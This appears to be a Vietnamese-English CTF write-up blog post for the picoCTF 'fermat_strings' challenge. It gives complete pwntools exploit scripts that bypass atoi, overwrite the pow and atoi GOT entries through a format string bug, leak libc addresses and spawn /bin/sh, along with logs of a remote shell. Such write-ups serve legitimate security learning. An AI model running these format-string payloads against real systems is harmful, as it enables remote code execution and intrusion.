fermat_strins

Oke, bài này hmmm khá hay với mình, tại vì nó tổng hợp những kiến thức mình học được 1 cách rời rạc vào cùng 1 bài.

file

hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/fermat_strings_final/bin$ file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=964ca3b1c1c143aa765fc3c0aa4552bb6ec4cb08, not stripped

hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/fermat_strings_final/bin$ checksec chall
[*] '/mnt/d/pwn_myself/Pico/fermat_strings_final/bin/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)
    RUNPATH:  b'.'

keo xuong duoi cho phan detail. But now, it's really important, about docker in ctf, libc file, just below:

remote solve

Phần này làm mình khá nhiều tgian, mò từ doker đến cách sử dụng libc blabla. Oke let's go

hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/fermat_strings_final$ ls
Dockerfile  chall  chall.c
hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/fermat_strings_final$ sudo docker build . -t fermat_string
[sudo] password for hjn4:
ERROR: Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?

Thì trong môi trường wsl thì cần chạy thêm lệnh sau: sudo dockerd --iptables=false

hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/fermat_strings_final$ sudo dockerd --iptables=false
INFO[2023-08-12T23:21:18.517444365+07:00] Starting up

INFO[2023-08-12T23:21:18.518773131+07:00] containerd not running, starting managed containerd
INFO[2023-08-12T23:21:18.520854266+07:00] started new containerd process                address=/var/run/docker/containerd/containerd.sock module=libcontainerd pid=4450
INFO[2023-08-12T23:21:18.642747758+07:00] starting containerd
            revision=8165feabfdfe38c65b599c4993d227328c231fca version=1.6.22
INFO[2023-08-12T23:21:18.651845970+07:00] loading plugin "io.containerd.content.v1.content"...  type=io.containerd.content.v1

tiếp theo sẽ tiến hành build :

hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/fermat_strings_final$ sudo docker build . -t fermat_string
[+] Building 2.0s (10/10) FINISHED                           docker:default
 => [internal] load build definition from Dockerfile                   0.0s
 => => transferring dockerfile: 232B                                   0.0s
 => [internal] load .dockerignore                                      0.0s
 => => transferring context: 2B                                        0.0s
 => [internal] load metadata for docker.io/library/ubuntu@sha256:7032  1.9s
 => [internal] load metadata for docker.io/redpwn/jail:sha-a795cdd     1.9s
 => FROM docker.io/library/ubuntu@sha256:703218c0465075f4425e58fac086  0.0s
 => [stage-0 1/4] FROM docker.io/redpwn/jail:sha-a795cdd@sha256:efca7  0.0s
 => [internal] load build context                                      0.0s
 => => transferring context: 2B                                        0.0s
 => CACHED [stage-0 2/4] COPY --from=ubuntu@sha256:703218c0465075f442  0.0s
 => ERROR [stage-0 3/4] COPY bin/flag.txt /srv/app/flag.txt            0.0s
 => ERROR [stage-0 4/4] COPY bin/chall /srv/app/run                    0.0s
------
 > [stage-0 3/4] COPY bin/flag.txt /srv/app/flag.txt:
------
------
 > [stage-0 4/4] COPY bin/chall /srv/app/run:
------
Dockerfile:5
--------------------
   3 |     COPY --from=ubuntu@sha256:703218c0465075f4425e58fac086e09e1de5c340b12976ab9eb8ad26615c3715 / /srv
   4 |
   5 | >>> COPY bin/flag.txt /srv/app/flag.txt
   6 |     COPY bin/chall /srv/app/run
   7 |
--------------------
ERROR: failed to solve: failed to compute cache key: failed to calculate checksum of ref 3d85fa7c-297d-41e8-89e8-fbc3ebb34f18::xm0ujr5y8k8sg26cvt27myxyd: failed to walk /var/lib/docker/tmp/buildkit-mount4154452855/bin: lstat /var/lib/docker/tmp/buildkit-mount4154452855/bin: no such file or directory

ta thấy là 2 bước cuối của docker file lúc build thì bị fail, cụ thể thì nó copy file ở trong thư mục bin như trên, tuy nhiên thì hiện tại làm đếch gì có thư mục bin nào. Do đó ta phải làm cho nó có chứ bro :3

hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/fermat_strings_final$ mkdir bin
hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/fermat_strings_final$ ls
Dockerfile  bin  chall  chall.c
hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/fermat_strings_final$ echo "local flag" > flag.txt
hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/fermat_strings_final$ cp chall bin/chall
hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/fermat_strings_final$ cp flag.txt bin/flag.txt
hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/fermat_strings_final$ ls bin
chall  flag.txt
hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/fermat_strings_final$ ls
Dockerfile  bin  chall  chall.c  flag.txt

And now, build docker again

hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/fermat_strings_final$ sudo docker build . -t fermat_string
[+] Building 1.9s (11/11) FINISHED                           docker:default
 => [internal] load .dockerignore                                      0.0s
 => => transferring context: 2B                                        0.0s
 => [internal] load build definition from Dockerfile                   0.0s
 => => transferring dockerfile: 232B                                   0.0s
 => [internal] load metadata for docker.io/library/ubuntu@sha256:7032  0.0s
 => [internal] load metadata for docker.io/redpwn/jail:sha-a795cdd     1.7s
 => FROM docker.io/library/ubuntu@sha256:703218c0465075f4425e58fac086  0.0s
 => [internal] load build context                                      0.0s
 => => transferring context: 8.88kB                                    0.0s
 => [stage-0 1/4] FROM docker.io/redpwn/jail:sha-a795cdd@sha256:efca7  0.0s
 => CACHED [stage-0 2/4] COPY --from=ubuntu@sha256:703218c0465075f442  0.0s
 => [stage-0 3/4] COPY bin/flag.txt /srv/app/flag.txt                  0.0s
 => [stage-0 4/4] COPY bin/chall /srv/app/run                          0.0s
 => exporting to image                                                 0.0s
 => => exporting layers                                                0.0s
 => => writing image sha256:30d57d04e70fb7e68dd2d9e2c6806263f23c8d251  0.0s
 => => naming to docker.io/library/fermat_string                       0.0s
hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/fermat_strings_final$ sudo docker images
REPOSITORY      TAG       IMAGE ID       CREATED          SIZE
fermat_string   latest    30d57d04e70f   12 seconds ago   84.4MB

So it's perfect. And now, after building, we will run this images

hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/fermat_strings_final$ sudo docker ps
CONTAINER ID   IMAGE     COMMAND   CREATED   STATUS    PORTS     NAMES
hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/fermat_strings_final$ sudo docker run --rm -p5000:5000 --privileged -it fermat_string
[I][2023-08-12T16:33:38+0000] Mode: LISTEN_TCP
[I][2023-08-12T16:33:38+0000] Jail parameters: hostname:'app', chroot:'', process:'/app/run', bind:[::]:5000, max_conns:0, max_conns_per_ip:0, time_limit:30, personality:0, daemonize:false, clone_newnet:true, clone_newuser:true, clone_newns:true, clone_newpid:true, clone_newipc:true, clone_newuts:true, clone_newcgroup:true, keep_caps:false, disable_no_new_privs:false, max_cpus:1
[I][2023-08-12T16:33:38+0000] Mount: '/' flags:MS_RDONLY type:'tmpfs' options:'' dir:true
[I][2023-08-12T16:33:38+0000] Mount: '/srv' -> '/' flags:MS_RDONLY|MS_NOSUID|MS_NODEV|MS_BIND|MS_REC|MS_PRIVATE type:'' options:'' dir:true
[I][2023-08-12T16:33:38+0000] Uid map: inside_uid:1000 outside_uid:1000 count:1 newuidmap:false
[I][2023-08-12T16:33:38+0000] Gid map: inside_gid:1000 outside_gid:1000 count:1 newgidmap:false
[I][2023-08-12T16:33:38+0000] Listening on [::]:5000


Let's see

hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/fermat_strings_final$ sudo docker ps
[sudo] password for hjn4:
CONTAINER ID   IMAGE           COMMAND          CREATED          STATUS          PORTS                                       NAMES
727f7a6b9d33   fermat_string   "/jail/run.sh"   41 seconds ago   Up 40 seconds   0.0.0.0:5000->5000/tcp, :::5000->5000/tcp   tender_brattain

from now, the container id and NAMES will be used regularly

hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/fermat_strings_final$ nc 0 5000
Welcome to Fermat\'s Last Theorem as a service
A: 1
B: 2
Calculating for A: 1 and B: 2

Có 1 vấn đề là mình vẫn chưa thể debug (gdb) với process ID, i dont know why, maybe because of gdb-version, i think so. But i will fix it in the future, maybe tommorrow :))

hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/fermat_strings_final$ sudo docker exec -it 727f7a6b9d33 /bin/sh
/ # ls
bin    etc    jail   lib64  root   sys    usr
dev    home   lib    proc   srv    tmp    var
/ #

Quay lại với file docker :

FROM redpwn/jail:sha-a795cdd

COPY --from=ubuntu@sha256:703218c0465075f4425e58fac086e09e1de5c340b12976ab9eb8ad26615c3715 / /srv

COPY bin/flag.txt /srv/app/flag.txt
COPY bin/chall /srv/app/run

Hiện tại thì mình chưa học sâu về docker, cơ mà :)) mình sẽ học sớm thoi, ít nhất là tối ngày mai :)), trust me, you just trust me bro :))

thì đại khái là trong 1 cái máy ảo này FROM redpwn/jail:sha-a795cdd sẽ có 1 cái máy ảo thế này --from=ubuntu@sha256:703218c0465075f4425e58fac086e09e1de5c340b12976ab9eb8ad26615c3715 được custom và public, ta có thể thấy là cái thư mục gốc / giờ đây đã là /srv oke, thì thường file libc trong kiến trúc 64-bit nó sẽ ở thư mục /usr/lib/x86_64-linux-gnu/libc.so.6

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
             Start                End Perm     Size Offset File
          0x400000           0x401000 r--p     1000      0 /mnt/d/pwn_myself/Pico/Local_Target/local-target
          0x401000           0x402000 r-xp     1000   1000 /mnt/d/pwn_myself/Pico/Local_Target/local-target
          0x402000           0x403000 r--p     1000   2000 /mnt/d/pwn_myself/Pico/Local_Target/local-target
          0x403000           0x404000 r--p     1000   2000 /mnt/d/pwn_myself/Pico/Local_Target/local-target
          0x404000           0x405000 rw-p     1000   3000 /mnt/d/pwn_myself/Pico/Local_Target/local-target
    0x7ffff7d8a000     0x7ffff7d8d000 rw-p     3000      0 [anon_7ffff7d8a]
    0x7ffff7d8d000     0x7ffff7db5000 r--p    28000      0 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7db5000     0x7ffff7f4a000 r-xp   195000  28000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7f4a000     0x7ffff7fa2000 r--p    58000 1bd000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7fa2000     0x7ffff7fa6000 r--p     4000 214000 /usr/lib/x86_64-linux-gnu/libc.so.6

check it

hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/fermat_strings_final$ sudo docker exec -it 727f7a6b9d33 /bin/sh
/ # ls
bin    etc    jail   lib64  root   sys    usr
dev    home   lib    proc   srv    tmp    var
/ # cd srv
/srv # ls
app     dev     lib     libx32  opt     run     sys     var
bin     etc     lib32   media   proc    sbin    tmp
boot    home    lib64   mnt     root    srv     usr
/srv # cd usr/lib/x86_64-linux-gnu/
/srv/usr/lib/x86_64-linux-gnu # ls | grep "libc"
libc-2.31.so
libc.so.6
libcap-ng.so.0
libcap-ng.so.0.0.0
libcom_err.so.2
libcom_err.so.2.1
libcrypt.so.1
libcrypt.so.1.1.0

Oke, giờ thì copy cái file libc ra ngoài host thoi. Cơ mà có 1 vấn là do mình không thể debug (gdb) với PID của process nên là ở đây kiểu như đoán mò file libc :)) thế quái nào nhợ :((.

hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/fermat_strings_final$ cd bin
hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/fermat_strings_final/bin$ ls
chall  flag.txt
hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/fermat_strings_final/bin$ sudo docker cp tender_brattain:/srv/usr/lib/x86_64-linux-gnu/libc-2.31.so .
Successfully copied 2.03MB to /mnt/d/pwn_myself/Pico/fermat_strings_final/bin/.
hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/fermat_strings_final/bin$ ls
chall  flag.txt  libc-2.31.so


OKe giờ đã có file libc :)). chúng ta có thể dùng bằng vài cách như sau:

  • readelf -sW libc-2.31.so | grep "system" , lưu offset và dùng trực tiếp trong script luôn
  • import libc vào rồi gọi đến lic.symbols['system'] để lấy offset

Mà để làm được cách thứ 2 í, thì cần pwninit

hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/fermat_strings_final/bin$ pwnini
t
bin: ./chall
libc: ./libc-2.31.so

fetching linker
https://launchpad.net/ubuntu/+archive/primary/+files//libc6_2.31-0ubuntu9.1_amd64.deb
unstripping libc
https://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg_2.31-0ubuntu9.1_amd64.deb
symlinking ./libc.so.6 -> libc-2.31.so
copying ./chall to ./chall_patched
running patchelf on ./chall_patched
writing solve.py stub

hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/fermat_strings_final/bin$ patchelf --set-interpreter ld-2.31.so chall
hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/fermat_strings_final/bin$ patchelf --set-rpath . chall

recv

hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/fermat_strings_final/bin$ python3 exploit.py
[*] '/mnt/d/pwn_myself/Pico/fermat_strings_final/bin/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)
    RUNPATH:  b'.'
[*] '/mnt/d/pwn_myself/Pico/fermat_strings_final/bin/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process '/mnt/d/pwn_myself/Pico/fermat_strings_final/bin/chall': pid 15717
[*] Main address: 0x400837
[*] pow() GOT address: 0x601040
/home/hjn4/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py:840: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
/mnt/d/pwn_myself/Pico/fermat_strings_final/bin/exploit.py:35: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  r.recvuntil("Calculating for A: ")
[*] rewrote pow GOT to main
[*] puts() GOT address: 0x601018
[*] Sending:
    A:
    b'1_______%43$s.%44$s.'
    B:
    00000000  31 5f 5f 5f  5f 5f 5f 5f  18 10 60 00  00 00 00 00  │1___│____│··`·│····│
    00000010  58 10 60 00  00 00 00 00                            │X·`·│····│
    00000018
[*] Received:
    00000000  a0 65 d7 86  fd 7e 2e 30  67 d3 86 fd  7e 2e        │·e··│·~.0│g···│~.│
    0000000e
[*] puts() runtime address: 0x7efd86d765a0
[*] atoi() runtime address: 0x7efd86d36730
[*] libc_base address: 0x7efd86cef000
[*] system address: 0x7efd86d44410
[*] atoi() GOT address: 0x601058
Original values:
High: 32509
Medium: 34516
Low: 17424

Sorted values:
low: 17424 11
high: 32509 13
medium: 34516 12
/mnt/d/pwn_myself/Pico/fermat_strings_final/bin/exploit.py:124: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  r.recvuntil("Calculating for A: ")
[*] rewrote atoi GOT to system
[*] Switching to interactive mode
$ ls
chall           core       flag.txt    libc-2.31.so  solve.py
chall_patched  exploit.py  ld-2.31.so  libc.so.6
$
[*] Stopped process '/mnt/d/pwn_myself/Pico/fermat_strings_final/bin/chall' (pid 15717)







hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/fermat_strings_final/bin$ python3 exploit.py REMOTE
[*] '/mnt/d/pwn_myself/Pico/fermat_strings_final/bin/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)
    RUNPATH:  b'.'
[*] '/mnt/d/pwn_myself/Pico/fermat_strings_final/bin/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to mars.picoctf.net on port 31929: Done
[*] Main address: 0x400837
[*] pow() GOT address: 0x601040
/home/hjn4/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py:840: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
/mnt/d/pwn_myself/Pico/fermat_strings_final/bin/exploit.py:35: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  r.recvuntil("Calculating for A: ")
[*] rewrote pow GOT to main
[*] puts() GOT address: 0x601018
[*] Sending:
    A:
    b'1_______%43$s.%44$s.'
    B:
    00000000  31 5f 5f 5f  5f 5f 5f 5f  18 10 60 00  00 00 00 00  │1___│____│··`·│····│
    00000010  58 10 60 00  00 00 00 00                            │X·`·│····│
    00000018
[*] Received:
    00000000  a0 b5 6f 02  91 7f 2e 30  b7 6b 02 91  7f 2e        │··o·│··.0│·k··│·.│
    0000000e
[*] puts() runtime address: 0x7f91026fb5a0
[*] atoi() runtime address: 0x7f91026bb730
[*] libc_base address: 0x7f9102674000
[*] system address: 0x7f91026c9410
[*] atoi() GOT address: 0x601058
Original values:
High: 32657
Medium: 620
Low: 37904

Sorted values:
medium: 620 12
high: 32657 13
low: 37904 11
/mnt/d/pwn_myself/Pico/fermat_strings_final/bin/exploit.py:124: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  r.recvuntil("Calculating for A: ")
[*] rewrote atoi GOT to system
[*] Switching to interactive mode
$ ls
flag.txt
run
$
[*] Closed connection to mars.picoctf.net port 31929
hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/fermat_strings_final/bin$

full my exploit code

from pwn import *

binary = ELF("chall")

libc = ELF("libc.so.6")

if not args.REMOTE:
    r = process(binary.path)
    #gdb.attach(r, api = True)
    
   
else:
    r = remote('mars.picoctf.net', 31929)
    # puts_offset_libc = 0x0875a0
    # system_offset = 0x055410

puts_offset_libc = libc.symbols["puts"] 
system_offset = libc.symbols['system'] 

pow_got = binary.got['pow']
main_addr = binary.symbols['main']

log.info(f"Main address: {hex(main_addr)}") # 0x400837
log.info(f"pow() GOT address: {hex(pow_got)}") # 0x601040

payload1 = b"11111111" + p64(pow_got) #+ p64(pow_got+4)

r.sendlineafter("A: ",payload1)

payload2 = b"1_______%" + str(int(main_addr) - 46).encode("ascii") + b"p%11$n--" #4196361

r.sendlineafter("B: ",payload2)

r.recvuntil("Calculating for A: ")
log.info("rewrote pow GOT to main")

######################################

def send_payload(r, a, b):
    log.info(f"Sending:\nA:\n{a}\nB:\n{hexdump(b)}")
    r.sendlineafter("A: ", a)
    r.sendlineafter("B: ", b)

def send_format(r, format, values):
    format_prefix = b'1_______'
    values_prefix = b'1_______'
    send_payload(r, format_prefix + format, values_prefix + values)
    out = r.recvline()
    arr = out.split(b" and ")
    res = arr[0].replace(b"Calculating for A: " + format_prefix, b"")
    log.info(f"Received:\n{hexdump(res)}")
    return res

log.info(f"puts() GOT address: {hex(binary.got['puts'])}")


output = send_format(r, b"%43$s.%44$s.", p64(binary.got["puts"]) + p64(binary.got["atoi"]))


puts_addr_str = output.split(b'.')[0].ljust(8, b'\x00')
atoi_addr_str = output.split(b".")[1].ljust(8, b'\x00')
puts_addr = int.from_bytes(puts_addr_str, "little") 
atoi_addr = int.from_bytes(atoi_addr_str, "little") 

log.info(f"puts() runtime address: {hex(puts_addr)}\n")

log.info(f"atoi() runtime address: {hex(atoi_addr)}\n")


libc_base_addr = u64(puts_addr_str) - puts_offset_libc
log.info(f"libc_base address: {hex(libc_base_addr)}\n")


system_addr = libc_base_addr + system_offset
log.info(f"system address: {hex(system_addr)}\n") 

##########################################################

atoi_got = binary.got['atoi']

log.info(f"atoi() GOT address: {hex(atoi_got)}") 

system_addr_high = (system_addr >> 32) & 0xFFFF
system_addr_medium = (system_addr >> 16) & 0xFFFF
system_addr_low = system_addr & 0xFFFF

print("Original values:")
print("High:", int(system_addr_high))
print("Medium:", int(system_addr_medium))
print("Low:", int(system_addr_low))

values = [
    ("high", system_addr_high, "13" ),
    ("medium", system_addr_medium, "12" ),
    ("low", system_addr_low, "11")
]

values.sort(key=lambda x: x[1])

print("\nSorted values:")

for item in values:
    print(item[0] + ":" , item[1] , item[2] )


payload1 = b"11111111" + p64(atoi_got ) + p64(atoi_got + 2 ) + p64(atoi_got + 4)

r.sendlineafter("A: ",payload1)

#payload2 = b"1_______%1p%12$n%2p%11$n"

# payload2 = b"1_______%" + str(int(system_addr_high) - 46).encode("ascii") + b"p%13$hn%" 
# payload2 += str(int(system_addr_low) - int(system_addr_high)).encode("ascii") + b"p%11$hn%"
# payload2 += str(int(system_addr_medium) - int(system_addr_low)).encode("ascii") + b"p%12$hn--" 
payload2 = b"1_______%" + str(values[0][1] - 46).encode("ascii") + b"p%" + values[0][2].encode("ascii") + b"$hn%" 
payload2 += str(values[1][1] - values[0][1]).encode("ascii") + b"p%"+ values[1][2].encode("ascii") + b"$hn%"
payload2 += str(values[2][1] - values[1][1]).encode("ascii") + b"p%"+ values[2][2].encode("ascii") + b"$hn--" 

r.sendlineafter("B: ",payload2)

##################################

r.recvuntil("Calculating for A: ")
log.info("rewrote atoi GOT to system")

payload1 = b"/bin/sh\x00"
r.sendlineafter("A: ",payload1)
payload2 = b"/sh"
r.sendlineafter("B: ",payload2)
                
r.interactive()




Detail

Sorry vì có vài thứ ở tận đây, tuy nhiên vì mình muốn note những thứ quan trọng lên trên để dễ search, so my blog, my choice :))

source

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <math.h>

#define SIZE 0x100

int main(void)
{
  char A[SIZE];
  char B[SIZE];

  int a = 0;
  int b = 0;

  puts("Welcome to Fermat\\'s Last Theorem as a service");

  setbuf(stdout, NULL);
  setbuf(stdin, NULL);
  setbuf(stderr, NULL);

  printf("A: ");
  read(0, A, SIZE);
  printf("B: ");
  read(0, B, SIZE);

  A[strcspn(A, "\n")] = 0; // return len 
  B[strcspn(B, "\n")] = 0; // B[len] = 0 ???, maybe it like null byte :))

  a = atoi(A);
  b = atoi(B); // convert to int

  if(a == 0 || b == 0) {
    puts("Error: could not parse numbers!");
    return 1;
  }

  char buffer[SIZE];
  snprintf(buffer, SIZE, "Calculating for A: %s and B: %s\n", A, B);
  printf(buffer);

  int answer = -1;
  for(int i = 0; i < 100; i++) {
    if(pow(a, 3) + pow(b, 3) == pow(i, 3)) {
      answer = i;
    }
  }

  if(answer != -1) printf("Found the answer: %d\n", answer);
}

info func

strcspn(str1,str2) : hàm này trả về số kí tự trong str1 mà không xuất hiện kí tự nào trong str2. Ở source trên thì làm nhiệm vụ thay kí tự xuống dòng thành null byte

snprintf() : trả về số kí tự đã được ghi vào buffer

bug

ở đây ta có thể thấy là lỗi format string, tuy nhiên thì trước đấy có 1 cái filter trá hình là atoi() thằng oắt này sẽ convert sang số, và nếu kết quả = 0, tức không convert được thì tiu. So, chúng ta cần bypass chỗ này, giờ thì xem thg atoi nó thật sự làm cái gì

int atoi (const char * str);

Convert string to integer Parses the C-string str interpreting its content as an integral number, which is returned as a value of type int.

The function first discards as many whitespace characters (as in isspace) as necessary until the first non-whitespace character is found. Then, starting from this character, takes an optional initial plus or minus sign followed by as many base-10 digits as possible, and interprets them as a numerical value.

The string can contain additional characters after those that form the integral number, which are ignored and have no effect on the behavior of this function.

If the first sequence of non-whitespace characters in str is not a valid integral number, or if no such sequence exists because either str is empty or it contains only whitespace characters, no conversion is performed and zero is returned.

Đại khái có thể hiểu là nó chỉ convert các chữ số trong 1 string thành int và kệ mấy cái kí tự khác, miễn là kí tự đầu tiên phải là số. EX: atoi(1a2) = 1

Kịch bản khai thác đại khái sẽ như sau:

  • payload khai thác có dạng 1_blabla_for_exploit
  • Lợi dụng format string để overwrite got của pow => main để có thể tiến hành gửi payload nhiều lần dễ dàng
  • Leak ra được địa chỉ runtime của các hàm nào đấy để tính libc base, tuy nhiên cần xác định được thư viện sử dụng là gì
  • overwrite got của atoi => system, bởi có chỗ gọi atoi(A) , lúc này ghi A = "/bin/sh" => lấy shell

overwrite pow GOT to main address

hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/Pico/fermat_strings$ python3 exploit_pow_main.py
[*] '/mnt/d/pwn_myself/Pico/fermat_strings/chall'
    Arch:     amd64-64-little
[*] '/mnt/d/pwn_myself/Pico/fermat_strings/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process './chall': pid 24860
[*] running in new terminal: ['/usr/bin/gdb', '-q', './chall', '24860', '-x', '/tmp/pwnj63xhhen.gdb']
[-] Waiting for debugger: debugger exited! (maybe check /proc/sys/kernel/yama/ptrace_scope)
[*] Main address: 0x400837
[*] pow() GOT address: 0x601040
16
[*] Switching to interactive mode
Calculating for A: 11111111@\x10` and B: 1_______0x400bd8--------
$

hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself$ python3
Python 3.10.12 (main, Jun 11 2023, 05:26:28) [GCC 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> len("1_______%4196361p%11$n--")
24
>>> len("Calculating for A: 11111111@\x10` and B: 1_______")
46
>>> 0x400837
4196407
>>> 0x400809
4196361
>>> 4196407 - 4196361
46


from pwn import *

binary = ELF("chall")
r = process("./chall")
gdb.attach(r, api = True)

pow_got = binary.got['pow']
main_addr = binary.symbols['main']

log.info(f"Main address: {hex(main_addr)}") # 0x400837
log.info(f"pow() GOT address: {hex(pow_got)}") # 0x601040


payload1 = b"11111111" + p64(pow_got) #+ p64(pow_got+4)

r.sendlineafter(b"A: ",payload1)

#payload2 = b"1_______%1p%11$n--------"
payload2 = b"1_______%" + str(int(main_addr) - 46).encode("ascii") + b"p%11$n--" #4196361

r.sendlineafter(b"B: ",payload2)

r.interactive()

Vấn đề tại sao lại trừ 46 í, thì là do cơ chế ghi với formatstring là sẽ in ra màn hình 15 kí tự đi ha rồi sẽ ghi giá trị hex(15) vào địa chỉ ở tham số chỉ định. mà trước đó đã in ra "blabla" tổng 46 kí tự rồi nên giờ phải trừ ra.

Thêm vấn đề là tại sao là tham số thứ 11 thì, chuỗi mình ghi vào sẽ bắt đầu ở tham số thứ 10, cứ check là được :))

leak libc base, and determine libc version

from pwn import *

binary = ELF("chall")
r = process("./chall")
gdb.attach(r, api = True)

def send_payload(r, a, b):
    log.info(f"Sending:\nA:\n{a}\nB:\n{hexdump(b)}")
    r.sendlineafter("A: ", a)
    r.sendlineafter("B: ", b)

def send_format(r, format, values):
    format_prefix = b'1_______'
    values_prefix = b'1_______'
    send_payload(r, format_prefix + format, values_prefix + values)
    out = r.recvline()
    arr = out.split(b" and ")
    res = arr[0].replace(b"Calculating for A: " + format_prefix, b"")
    log.info(f"Received:\n{hexdump(res)}")
    return res

log.info(f"puts() GOT address: {hex(binary.got['puts'])}")

output = send_format(r, b"%43$s.%44$s.%45$s.", p64(binary.got["puts"]) + p64(binary.got["atoi"])+ p64(binary.got["strcspn"]))

print(output)

puts_addr_str = output.split(b'.')[0].ljust(8, b'\x00')
atoi_addr_str = output.split(b".")[1].ljust(8, b'\x00')
strcspn_addr_str = output.split(b".")[2].ljust(8, b'\x00')

puts_addr = int.from_bytes(puts_addr_str, "little") 
atoi_addr = int.from_bytes(atoi_addr_str, "little") 
strcspn_addr = int.from_bytes(strcspn_addr_str, "little") 

log.info(f"puts() runtime address: {hex(puts_addr)}\n")
log.info(f"atoi() runtime address: {hex(atoi_addr)}\n")
log.info(f"strcspn() runtime address: {hex(strcspn_addr)}\n")

r.interactive()

Oke thì mình vẫn chưa solve được trên remote do mình vẫn chưa xác định được libc mà remote sử dụng, bài này có cho mình 1 file docker tuy nhiên mình là không biết build thế nào nên là, đợi mình học tí docker rồi quay lại đây :(. trước mắt thì mình cứ solve trên local trước đã.

overwrite atoi_got => system for the next call main

from pwn import *

binary = ELF("chall")
r = process("./chall")
gdb.attach(r, api = True)

atoi_got = binary.got['atoi']

log.info(f"atoi() GOT address: {hex(atoi_got)}") 


system_addr = 0x7fe0e8abc570 #demo

system_addr_high = (system_addr >> 32) & 0xFFFF
system_addr_medium = (system_addr >> 16) & 0xFFFF
system_addr_low = system_addr & 0xFFFF

print(int(system_addr_high))
print(int(system_addr_medium))
print(int(system_addr_low))


payload1 = b"11111111" + p64(atoi_got) + p64(atoi_got + 2) + p64(atoi_got + 4)

r.sendlineafter(b"A: ",payload1)

#payload2 = b"1_______%1p%12$n%2p%11$n"
payload2 = b"1_______%" + str(int(system_addr_high) - 46).encode("ascii") + b"p%13$hn%" 
payload2 += str(int(system_addr_low) - int(system_addr_high)).encode("ascii") + b"p%11$hn%"
payload2 += str(int(system_addr_medium) - int(system_addr_low)).encode("ascii") + b"p%12$hn--" 

r.sendlineafter(b"B: ",payload2)

r.interactive()


full solve code on local

from pwn import *

binary = ELF("chall")
#r = process("./chall")



if not args.REMOTE:
    r = process(binary.path)
    gdb.attach(r, api = True)
    libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
else:
